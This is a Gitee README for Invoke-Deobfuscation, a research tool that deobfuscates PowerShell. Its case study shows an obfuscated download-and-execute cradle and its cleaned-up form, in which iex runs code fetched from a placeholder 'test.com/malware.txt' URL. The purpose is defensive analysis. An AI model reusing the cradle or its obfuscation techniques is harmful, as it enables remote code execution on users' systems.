1 Star 7 Fork 1

snowroll / Invoke-Deobfuscation

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
贡献代码
同步代码
取消
提示: 由于 Git 不支持空文件夾,创建文件夹后会生成空的 .keep 文件
Loading...
README

Invoke-Deobfuscation


  • Environment

  • How to use it?

    git clone https://gitee.com/snowroll/invoke-deobfuscation
    cd invoke-deobfuscation/Code
    pwsh  # Linux or MacOS
    Import-Module ./Invoke-DeObfuscation.psd1
    DeObfuscatedMain -ScriptPath0 ../Data/demo.ps1  
  • Case Study

    • demo.ps1

      Ie`X ("{2}{0}{1}" -f 'ost h', 'ello', 'write-h')
      $xdjmd  =   'aAB0AHQAcABzADoALwAvAHQAZQBzAHQALgBjAG'
      $lsffs =   '8AbQAvAG0AYQBsAHcAYQByAGUALgB0AHgAdAA='
      $sdfs = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($xdjmd + $lsffs))
      .($psHoME[4]+$PShOmE[30]+'x') (Ne`W-oB`JeCt Net.Web`C`lient).downloadstring($sdfs)
    • Result

      Write-Host hello
      $var0 = 'aAB0AHQAcABzADoALwAvAHQAZQBzAHQALgBjAG'
      $var1 = '8AbQAvAG0AYQBsAHcAYQByAGUALgB0AHgAdAA='
      $var2 = 'https://test.com/malware.txt'
      .('iex') (New-Object net.webclient).downloadstring('https://test.com/malware.txt')
  • DataSet Request

    If you want the dataset (3346 highly obfuscated samples), please send me an email. My email address is chaihuajun@qianxin.com. There are some requirements for the email as follows.

    • You need to send me an email with a copy to both my mentor yinglingyun@qianxin.com and your mentor.
    • In the body of the email, you need to state the purpose of the dataset request and the use of the dataset.
    • Moreover, you need to clearly indicate that the results generated by the dataset will cite our paper.

    The full dataset is not public. If you would like to collaborate on research, please feel free to contact us

  • Citation

    @inproceedings{chai2022invoke,
    title={Invoke-Deobfuscation: AST-Based and Semantics-Preserving Deobfuscation for PowerShell Scripts},
    author={Chai, Huajun and Ying, Lingyun and Duan, Haixin and Zha, Daren},
    booktitle={2022 52nd Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN)},
    pages={295--306},
    year={2022},
    organization={IEEE}
    }

空文件

简介

Deobfuscation tool for PowerShell 展开 收起
PowerShell
取消

发行版

暂无发行版

贡献者

全部

近期动态

加载更多
不能加载更多了
PowerShell
1
https://gitee.com/snowroll/invoke-deobfuscation.git
git@gitee.com:snowroll/invoke-deobfuscation.git
snowroll
invoke-deobfuscation
Invoke-Deobfuscation
main

搜索帮助